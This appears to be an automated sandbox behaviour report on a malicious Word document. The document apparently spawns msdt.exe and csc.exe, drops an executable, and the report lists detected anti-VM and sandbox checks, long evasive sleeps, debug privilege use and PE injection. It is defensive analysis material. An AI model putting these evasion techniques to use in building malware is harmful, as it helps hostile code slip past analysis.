Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.552178062.0000000002E7F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PROMZwFp385vXrN.exe PID: 5444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: PMoZbw.exe PID: 3300, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.552178062.0000000002E7F000.00000004.00000800.00020000.00000000.sdmp, PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.552178062.0000000002E7F000.00000004.00000800.00020000.00000000.sdmp, PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe TID: 5456 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\msdt.exe Window / User API: threadDelayed 779 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mnm1snwx\mnm1snwx.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zf01cjt2\zf01cjt2.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\yjsbg2wl\yjsbg2wl.dll Jump to dropped file
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe Memory allocated: 11D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe Memory allocated: 2EE0000 memory reserve | memory write watch Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWARE
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.581985407.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000002.584636580.0000000004045000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: QEMU?
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA II
Source: PMoZbw.exe, 00000013.00000002.625883552.0000000003060000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_06D36AC8 LdrInitializeThunk, 17_2_06D36AC8
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Memory written: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe base: 400000 value starts with: 4D5A Jump to behavior
.NET source code references suspicious native API functions
